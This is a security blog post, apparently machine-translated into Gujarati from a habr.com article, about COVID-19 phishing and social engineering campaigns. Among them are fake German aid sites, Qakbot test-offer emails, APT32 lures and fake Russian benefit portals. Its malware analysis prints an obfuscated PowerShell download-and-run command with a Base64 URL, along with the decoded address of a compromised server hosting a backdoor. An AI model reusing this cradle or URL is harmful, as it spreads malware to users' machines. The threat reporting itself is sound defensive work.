કોરોનાવાયરસ સાયબર હુમલા: સમગ્ર મુદ્દો સોશિયલ એન્જિનિયરિંગમાં છે

હુમલાખોરો COVID-19 વિષયનું શોષણ કરવાનું ચાલુ રાખે છે, જેઓ રોગચાળાને લગતી દરેક બાબતમાં ઉત્સુકતાથી રસ ધરાવતા વપરાશકર્તાઓ માટે વધુને વધુ જોખમો બનાવે છે. IN છેલ્લી પોસ્ટ અમે પહેલાથી જ કોરોનાવાયરસને પગલે કયા પ્રકારનાં માલવેર દેખાયા તે વિશે વાત કરી ચૂક્યા છીએ, અને આજે આપણે સોશિયલ એન્જિનિયરિંગ તકનીકો વિશે વાત કરીશું જેનો રશિયા સહિત વિવિધ દેશોમાં વપરાશકર્તાઓ પહેલેથી જ સામનો કરી ચૂક્યા છે. સામાન્ય વલણો અને ઉદાહરણો કટ હેઠળ છે.

માં યાદ રાખો છેલ્લા સમય અમે એ હકીકત વિશે વાત કરી કે લોકો માત્ર કોરોનાવાયરસ અને રોગચાળાના અભ્યાસક્રમ વિશે જ નહીં, પણ નાણાકીય સહાયના પગલાં વિશે પણ વાંચવા તૈયાર છે? અહીં એક સારું ઉદાહરણ છે. જર્મન રાજ્ય નોર્થ રાઈન-વેસ્ટફેલિયા અથવા NRW માં એક રસપ્રદ ફિશિંગ હુમલો મળી આવ્યો હતો. હુમલાખોરોએ અર્થતંત્ર મંત્રાલયની વેબસાઇટની નકલો બનાવી હતી (NRW આર્થિક બાબતોનું મંત્રાલય), જ્યાં કોઈપણ નાણાકીય સહાય માટે અરજી કરી શકે છે. આવા પ્રોગ્રામ ખરેખર અસ્તિત્વમાં છે, અને તે સ્કેમર્સ માટે ફાયદાકારક હોવાનું બહાર આવ્યું છે. તેમના પીડિતોનો વ્યક્તિગત ડેટા પ્રાપ્ત કર્યા પછી, તેઓએ વાસ્તવિક મંત્રાલયની વેબસાઇટ પર અરજી કરી, પરંતુ અન્ય બેંક વિગતો સૂચવી. સત્તાવાર માહિતી અનુસાર, સ્કીમની શોધ થઈ ત્યાં સુધી આવી 4 હજાર નકલી વિનંતીઓ કરવામાં આવી હતી. પરિણામે, અસરગ્રસ્ત નાગરિકો માટે બનાવાયેલ $109 મિલિયન છેતરપિંડી કરનારાઓના હાથમાં આવી ગયા.

શું તમે કોવિડ-19 માટે મફત પરીક્ષણ ઈચ્છો છો?

કોરોનાવાયરસ-થીમ આધારિત ફિશિંગનું બીજું નોંધપાત્ર ઉદાહરણ હતું શોધ્યું ઇમેઇલ્સમાં. સંદેશાઓએ કોરોનાવાયરસ ચેપ માટે મફત પરીક્ષણ પસાર કરવાની ઓફર સાથે વપરાશકર્તાઓનું ધ્યાન આકર્ષિત કર્યું. આના જોડાણમાં અક્ષરો Trickbot/Qakbot/Qbot ના ઉદાહરણો હતા. અને જ્યારે તેમની તબિયત તપાસવા માંગતા લોકોએ "જોડાયેલ ફોર્મ ભરવાનું" શરૂ કર્યું, ત્યારે કમ્પ્યુટર પર એક દૂષિત સ્ક્રિપ્ટ ડાઉનલોડ થઈ. અને સેન્ડબોક્સિંગ પરીક્ષણને ટાળવા માટે, સ્ક્રિપ્ટે થોડા સમય પછી જ મુખ્ય વાયરસ ડાઉનલોડ કરવાનું શરૂ કર્યું, જ્યારે સંરક્ષણ પ્રણાલીઓને ખાતરી થઈ કે કોઈ દૂષિત પ્રવૃત્તિ થશે નહીં.

મોટાભાગના વપરાશકર્તાઓને મેક્રોને સક્ષમ કરવા માટે સમજાવવું પણ સરળ હતું. આ કરવા માટે, એક માનક યુક્તિનો ઉપયોગ કરવામાં આવ્યો હતો: પ્રશ્નાવલી ભરવા માટે, તમારે પહેલા મેક્રોને સક્ષમ કરવાની જરૂર છે, જેનો અર્થ છે કે તમારે VBA સ્ક્રિપ્ટ ચલાવવાની જરૂર છે.

જેમ તમે જોઈ શકો છો, VBA સ્ક્રિપ્ટ એન્ટીવાયરસથી ખાસ ઢંકાયેલી છે.

વિન્ડોઝ પાસે રાહ જોવાની સુવિધા છે જ્યાં એપ્લિકેશન ડિફોલ્ટ "હા" જવાબ સ્વીકારતા પહેલા /T <સેકન્ડ> રાહ જુએ છે. અમારા કિસ્સામાં, અસ્થાયી ફાઇલોને કાઢી નાખતા પહેલા સ્ક્રિપ્ટે 65 સેકન્ડ રાહ જોઈ:

cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:UsersPublictmpdirtmps1.bat & del C:UsersPublic1.txt

અને રાહ જોતી વખતે, માલવેર ડાઉનલોડ થઈ ગયું. આ માટે એક ખાસ પાવરશેલ સ્ક્રિપ્ટ લોન્ચ કરવામાં આવી હતી:

cmd /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]: :FromBase64String('aHR0cDovL2F1dG9tYXRpc2NoZXItc3RhdWJzYXVnZXIuY29tL2ZlYXR1cmUvNzc3Nzc3LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:UsersPublic1.txt

Base64 મૂલ્યને ડીકોડ કર્યા પછી, પાવરશેલ સ્ક્રિપ્ટ જર્મનીમાંથી અગાઉ હેક કરેલા વેબ સર્વર પર સ્થિત બેકડોર ડાઉનલોડ કરે છે:

http://automatischer-staubsauger.com/feature/777777.png

અને તેને નામ હેઠળ સાચવે છે:

C:UsersPublictmpdirfile1.exe

ફોલ્ડર ‘C:UsersPublictmpdir’ 'tmps1.bat' ફાઇલ ચલાવતી વખતે કાઢી નાખવામાં આવે છે જેમાં આદેશ હોય છે cmd /c mkdir ""C:UsersPublictmpdir"".

સરકારી એજન્સીઓ પર લક્ષિત હુમલો

વધુમાં, FireEye વિશ્લેષકોએ તાજેતરમાં વુહાનમાં સરકારી માળખાં તેમજ ચીનના કટોકટી વ્યવસ્થાપન મંત્રાલયને ધ્યાનમાં રાખીને લક્ષ્યાંકિત APT32 હુમલાની જાણ કરી હતી. વિતરિત આરટીએફમાંના એકમાં ન્યૂયોર્ક ટાઈમ્સના શીર્ષકવાળા લેખની લિંક છે કોરોનાવાયરસ લાઇવ અપડેટ્સ: ચાઇના હુબેઇથી મુસાફરોને ટ્રેક કરી રહ્યું છે. જો કે, તેને વાંચવા પર, માલવેર ડાઉનલોડ કરવામાં આવ્યું હતું (FireEye વિશ્લેષકોએ ઉદાહરણને METALJACK તરીકે ઓળખાવ્યું હતું).

રસપ્રદ વાત એ છે કે, તપાસ સમયે, વાયરસટોટલના જણાવ્યા મુજબ, કોઈપણ એન્ટિવાયરસ આ દાખલા શોધી શક્યા નથી.

જ્યારે સત્તાવાર વેબસાઇટ્સ ડાઉન હોય છે

ફિશિંગ હુમલાનું સૌથી આકર્ષક ઉદાહરણ બીજા દિવસે રશિયામાં બન્યું. આનું કારણ 3 થી 16 વર્ષની વયના બાળકો માટે લાંબા સમયથી રાહ જોવાતી લાભની નિમણૂક હતી. જ્યારે 12 મે, 2020 ના રોજ અરજીઓ સ્વીકારવાની શરૂઆતની જાહેરાત કરવામાં આવી હતી, ત્યારે લાખો લોકો લાંબા સમયથી રાહ જોવાતી મદદ માટે રાજ્ય સેવાઓની વેબસાઇટ પર દોડી આવ્યા હતા અને પોર્ટલને વ્યાવસાયિક DDoS હુમલા કરતાં વધુ ખરાબ નહોતું લાવ્યા. જ્યારે રાષ્ટ્રપતિએ કહ્યું કે "સરકારી સેવાઓ અરજીઓના પ્રવાહનો સામનો કરી શકતી નથી," ત્યારે લોકોએ અરજીઓ સ્વીકારવા માટે વૈકલ્પિક સાઇટ શરૂ કરવા વિશે ઑનલાઇન વાત કરવાનું શરૂ કર્યું.

સમસ્યા એ છે કે ઘણી બધી સાઇટ્સ એક સાથે કામ કરવાનું શરૂ કરે છે, અને જ્યારે એક, posobie16.gosuslugi.ru પરની વાસ્તવિક સાઇટ, ખરેખર એપ્લિકેશન સ્વીકારે છે, વધુ ડઝનેક ભોળા વપરાશકર્તાઓનો વ્યક્તિગત ડેટા એકત્રિત કરે છે.

SearchInform ના સહકાર્યકરોને .ru ઝોનમાં લગભગ 30 નવા કપટપૂર્ણ ડોમેન્સ મળ્યાં છે. ઈન્ફોસીક્યુરિટી અને સોફ્ટલાઈન કંપનીએ એપ્રિલની શરૂઆતથી અત્યાર સુધીમાં 70 થી વધુ સમાન બનાવટી સરકારી સેવાની વેબસાઈટને ટ્રેક કરી છે. તેમના સર્જકો પરિચિત પ્રતીકોની હેરફેર કરે છે અને gosuslugi, gosuslugi-16, vyplaty, covid-vyplaty, posobie વગેરે શબ્દોના સંયોજનોનો પણ ઉપયોગ કરે છે.

હાઇપ અને સામાજિક ઇજનેરી

આ તમામ ઉદાહરણો માત્ર એ વાતની પુષ્ટિ કરે છે કે હુમલાખોરો કોરોના વાયરસના વિષય પર સફળતાપૂર્વક મુદ્રીકરણ કરી રહ્યા છે. અને સામાજિક તણાવ અને વધુ અસ્પષ્ટ મુદ્દાઓ, સ્કેમર્સને મહત્વપૂર્ણ ડેટાની ચોરી કરવાની, લોકોને તેમના પોતાના પૈસા આપવા માટે દબાણ કરવા અથવા ફક્ત વધુ કમ્પ્યુટર્સ હેક કરવાની વધુ શક્યતાઓ છે.

અને આપેલ છે કે રોગચાળાએ સંભવિત તૈયારી વિનાના લોકોને ઘરેથી સામૂહિક રીતે કામ કરવાની ફરજ પાડી છે, માત્ર વ્યક્તિગત જ નહીં, પણ કોર્પોરેટ ડેટા પણ જોખમમાં છે. ઉદાહરણ તરીકે, તાજેતરમાં માઈક્રોસોફ્ટ 365 (અગાઉનું ઓફિસ 365) વપરાશકર્તાઓ પણ ફિશિંગ હુમલાને આધિન હતા. લોકોને પત્રોના જોડાણ તરીકે મોટા પ્રમાણમાં "ચૂકી ગયેલા" વૉઇસ સંદેશા મળ્યા. જો કે, ફાઇલો વાસ્તવમાં એક HTML પેજ હતી જેણે હુમલાનો ભોગ બનેલા લોકોને મોકલ્યા હતા નકલી Microsoft 365 સાઇન-ઇન પેજ. પરિણામે, એકાઉન્ટમાંથી તમામ ડેટાની ઍક્સેસ અને ચેડા.

સોર્સ: www.habr.com